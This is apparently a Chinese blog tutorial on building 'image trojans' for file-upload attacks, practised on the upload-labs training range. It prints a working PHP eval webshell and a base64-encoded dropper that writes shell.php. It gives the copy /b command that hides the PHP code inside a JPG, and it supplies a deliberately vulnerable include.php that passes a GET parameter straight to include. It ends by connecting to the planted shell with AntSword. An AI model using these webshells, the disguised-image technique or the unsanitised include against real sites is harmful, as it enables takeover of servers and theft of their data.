文件上传之图片马

时间:2024-03-05 17:12:33

图片马介绍

图片马:就是在正常图片中插入木马。

图片马的制作

1.我们先创建php木马文件1.php,内容有以下两种方式:

<?php @eval($_POST['a']); ?>
/* 常规一句话木马 */
<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>
/* 这是在当前目录下写入一个一句话木马文件,base64编码可用于一些绕过 */

2.随便找到一张图片,jpg、png、gif格式不限,此处以1.jpg为例

把该图片与上面创建的一句话木马放在一个目录下

3.cmd到这个目录下

输出指令:copy /b 1.php+1.jpg 2.jpg

意为以二进制的形式(/b)把1.php文件追加到1.jpg文件末尾,组成新的文件2.jpg

图片马的使用

网站上存在文件上传漏洞时,我们上传图片马,直接访问该图片马是不会奏效的,因为服务器并没与对该图片马进行php代码执行,此时我们就要使图片马与文件包含漏洞联动,我们本地创建一个用于文件包含的include.php文件,放于phpstudy搭建的网站下,内容如下:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

然后我们本地访问该文件,并传入参数

此处我以upload靶场的15关为例

此处我就把该include.php文件放入靶场上传目录upload下

我们成功上传图片马后,先访问include.php,然后文件包含图片马,其地址就是url中file等于的地址。

我使用写入一句话木马的木马代码,当我成功包含该图片马后,目录就会生成一句话木马文件,如下:

然后我们蚁剑连接即可